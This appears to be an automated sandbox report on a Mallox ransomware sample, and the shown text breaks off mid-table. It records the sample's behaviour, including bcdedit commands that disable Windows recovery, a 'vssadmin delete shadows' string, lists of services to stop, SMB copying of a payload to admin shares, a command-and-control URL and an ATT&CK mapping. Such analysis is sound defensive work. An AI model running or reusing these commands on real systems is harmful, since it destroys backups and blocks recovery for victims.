Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: Ransomware Mallox.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Ransomware Mallox.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Ransomware Mallox.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: Ransomware Mallox.exe, 00000000.00000003.1689061261.0000023CAFFE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: Ransomware Mallox.exe, 00000000.00000003.1688757795.0000023CAFFE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\HOW TO BACK FILES.txtxt source: Ransomware Mallox.exe, 00000000.00000003.1696834790.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1699524403.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1692939049.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1700357889.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp

Source: Ransomware Mallox.exe

Static PE information: section name: _RDATA

Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} recoveryenabled no
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} recoveryenabled no

Source: Ransomware Mallox.exe

Binary or memory string: \sysnative\vssadmin.exe delete shadows /all /quietopenSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exeAES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM*-NO-TAGAES-192-CCM*-NO-TAGAES-256-CCM*-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM*-NO-TAGCAMELLIA-192-CCM*-NO-TAGCAMELLIA-256-CCM*-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM*-NO-TAGARIA-192-CCM*-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Thread delayed: delay time: 1800000	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Thread delayed: delay time: 7200000	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Thread delayed: delay time: 18000000	Jump to behavior

Source: C:\Users\user\Desktop\Ransomware Mallox.exe TID: 7988	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe TID: 7988	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe TID: 7988	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe TID: 7988	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe TID: 7988	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe TID: 7988	Thread sleep time: -18000000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File Volume queried: C:\Users\user\Desktop FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: Ransomware Mallox.exe, 00000000.00000003.1382916081.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1381857687.0000023CADE99000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1382984420.0000023CADEA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: Ransomware Mallox.exe, 00000000.00000003.1382916081.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1386247479.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1386396001.0000023CADEA3000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1381857687.0000023CADE99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: Ransomware Mallox.exe	Binary or memory string: SeTakeOwnershipPrivilegeUnknown exceptionbad array new lengthmap/set too longmsocache$windows.~wssystem volume informationintelappdataperflogsprogramdatagoogleapplication datator browserboot$windows.~btmozillawindows.oldWindows Microsoft.NETWindowsPowerShellWindows NTWindowsCommon FilesMicrosoft Security ClientInternet ExplorerReferenceAssembliesWindows DefenderMicrosoft ASP.NETCore RuntimePackageStoreMicrosoft Help ViewerMicrosoft MPIWindows KitsMicrosoft.NETWindows MailPackage StoreMicrosoft Analysis ServicesWindows Portable DevicesWindows Photo ViewerWindows Sidebar.msstyles.icl.idx.avast.rtp.mallox.sys.nomedia.dll.hta.cur.lock.cpl.Globeimposter-Alpha865qqz.ics.hlp.com.spl.msi.key.mpa.rom.drv.bat.386.adv.diangcab.mod.scr.theme.ocx.prf.cab.diagcfg.msu.cmd.ico.msc.ani.icns.diagpkg.deskthemepack.wpx.msp.bin.themepack.shs.nls.exe.lnk.ps1.mallab.mdf.bak.smd.dbf.sqldesktop.inintuser.datthumbs.dbiconcache.dbntuser.inintldrbootfont.binntuser.dat.logbootsect.bakboot.iniautorun.infdebugLog.txtTargetInfo.txtsqlserv.exeoracle.exentdbsmgr.exesqlservr.exesqlwriter.exeMsDtsSrvr.exemsmdsrv.exeReportingServecesService.exefdhost.exefdlauncher.exemysql.exestring too long: iostreambad castbad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setSiebelApplicationContainer_Siebel_Home_d_Siebel_saiReportServer$SQLEXPRESSSQL Server Reporting ServicesSQL Server (MSSQLSERVER)MSSQLFDLauncherSQLSERVERAGENTSQLBrowserSQLTELEMETRYMsDtsServer130SSISTasdRY130MSSQL$WOLTERSKLUWERSQLAgent$PROGIDSQLWriterMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012MSSQLSQLAgentMSSQLServerADHelper100MSSQLServerOLAPServiceMsDtsServer100ReportServerSQLTELEMETRY$HLTMBMServerMSSQL$PROGIDXT800Service_PersonalAHS SERVICESense Shield ServiceFontCache3.0.0.0OSP ServiceDAService_TCPeCard-TTransServerwanxiao-monitorvm-agentSyncBASE ServiceFlash Helper ServiceKiwi Syslog ServerUWS HiPriv ServicesUWS LoPriv ServicesUtilDev Web Server ProZTE USBIP Client GuardZTE USBIP ClientZTE FileTranSZabbix AgentEasyFZS ServerRpc MonitorNuo Update MonitorDaemon ServiceFlexNet Licensing Service 64U8WorkerService2U8MPoolU8WebPoolU8WorkerService1TongBackupSrvcbVSCService11CobianBackup11MSSQLSERVERMSSQL$vssvmvssMSSQL$FE_EXPRESSSQLANYs_Sage_FAS_Fixed_AssetsMSSQL$VIM_SQLEXPQcSoftServiceVMToolsVGAuthServiceMSDTCTeamViewerRabbitMQSSMonitorServiceSSSyncServiceTPlusStdAppService1300MSSQL$SQL2008SQLAgent$SQL2008TPlusStdTaskService1300TPlusStdUpgradeService1300VirboxWebServerjhi_serviceLMSeCardMPServiceEnergyDataServiceUI0DetectK3MobileServiceTCPIDDAServiceWebAttendServerUIODetectVMAuthdServiceVMUSBArbServiceVMwareHostdVmAgentDaemonOpenSSHdeSightServiceapacheztJenkinssecbizsrvMSMQsmtpsvrJTzyb_sync360EntHttpServer360EntSvc360EntClientSvcNFWebServerwampapacheMSSEARCHmsftesqlOracleDBConcoleorclOracleJobSchedulerORCLOracleMTSRecoveryServiceOracleOraDb11g_home1ClrAgentOracleOraDb11g_home1TNSListenerOracleVssWriterORCLOracleServiceORCLaspnet_stateRedisJhTaskImeDictUpdateServiceMCServiceallpass_redisservice_port21160ftnlsv3ftnl
Source: Ransomware Mallox.exe, 00000000.00000003.1485865185.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1452671327.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1517525405.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1510500234.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.2036263949.0000023CAFF08000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537835548.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558677864.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1460079520.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1557947339.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Ransomware Mallox.exe, 00000000.00000003.1548754782.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1458753914.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1522348603.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1436895176.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1525525503.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1452833747.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515736964.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1484167282.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1438864827.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1531120213.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: Ransomware Mallox.exe, 00000000.00000003.1382916081.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1386247479.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1381857687.0000023CADE99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization ServiceY;
Source: Ransomware Mallox.exe, 00000000.00000003.1395311869.0000023CADE9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: Ransomware Mallox.exe, 00000000.00000003.1382916081.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1381857687.0000023CADE99000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1382984420.0000023CADEA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: Ransomware Mallox.exe, 00000000.00000003.1521311504.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1517078018.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1512198939.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1530759812.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1522852934.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1494233966.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1514282847.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1509849904.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1553035779.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1489751960.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Ransomware Mallox.exe, 00000000.00000003.1382916081.0000023CADE9E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1381857687.0000023CADE99000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1382984420.0000023CADEA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: Ransomware Mallox.exe, 00000000.00000003.1431702725.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1435423549.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1433442938.0000023CADEF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Ransomware Mallox.exe, 00000000.00000003.1996953236.0000023CAFF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vMcIY
Source: bcdedit.exe, 00000007.00000002.1385583946.0000018937458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pEFI VMware Virtual SATA CDROM Drive (0.0)

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt VolumeInformation

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\224.0.0.22\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\224.0.0.22\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\224.0.0.22\c$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\224.0.0.22\c$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\192.168.2.1\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\192.168.2.1\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\192.168.2.1\c$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: \\192.168.2.1\c$\ozon.exe	Jump to behavior

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Directory queried: C:\Documents and Settings			Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Directory queried: C:\Documents and Settings			Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	11 Input Capture	1 Network Share Discovery	Remote Services	11 Input Capture	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Bootkit	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	1 Inhibit System Recovery
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Bootkit	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	22 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Source	Detection	Scanner	Label
Ransomware Mallox.exe	82%	ReversingLabs	Win64.Ransomware.Mallox
Ransomware Mallox.exe	100%	Avira	HEUR/AGEN.1319014
Ransomware Mallox.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://91.215.85.142/QWEwqdsvsf/ap.phpwshqos.dll7	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpyxZ	0%	Avira URL Cloud	safe
http://api.ipify.orga	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpkxh	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.php	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phplencoded	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpkz	0%	Avira URL Cloud	safe
http://91.215.85.142/	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.php7xM	0%	Avira URL Cloud	safe
http://91.215.85.142/ows	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpNxw	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phppxM	0%	Avira URL Cloud	safe
http://api.ipify.orgx32x64%s	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
api.ipify.org	104.26.12.205	true	false		high

Name	Malicious	Antivirus Detection	Reputation
http://91.215.85.142/QWEwqdsvsf/ap.php	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/?	Ransomware Mallox.exe, 00000000.00000003.1435423549.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://91.215.85.142/	Ransomware Mallox.exe, 00000000.00000003.1455252517.0000023CAFEA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpwshqos.dll7	Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1517525405.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537835548.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558677864.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1557947339.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1540574771.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1525372800.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1531166316.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545983166.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1533218205.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1516802551.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1522125993.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpkxh	Ransomware Mallox.exe, 00000000.00000003.1495367476.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1490580877.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487434442.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1503545999.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487048074.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1489751960.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1494233966.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1496750386.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1491235259.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpyxZ	Ransomware Mallox.exe, 00000000.00000003.1548290712.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546299993.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1542067078.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545040056.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1547580317.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1551313529.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537894611.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1559096802.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558037196.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1549649553.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	Ransomware Mallox.exe	false	Avira URL Cloud: safe	unknown
http://api.ipify.orga	Ransomware Mallox.exe, 00000000.00000003.1735001126.0000023CADEA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phplencoded	Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537835548.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1557947339.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1540574771.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545983166.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	Ransomware Mallox.exe, 00000000.00000003.1460333489.0000023CAFF69000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1478330265.0000023CAFF31000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515736964.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1518812177.0000023CAFE76000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1516446126.0000023CAFF2F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1514485603.0000023CAFE88000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 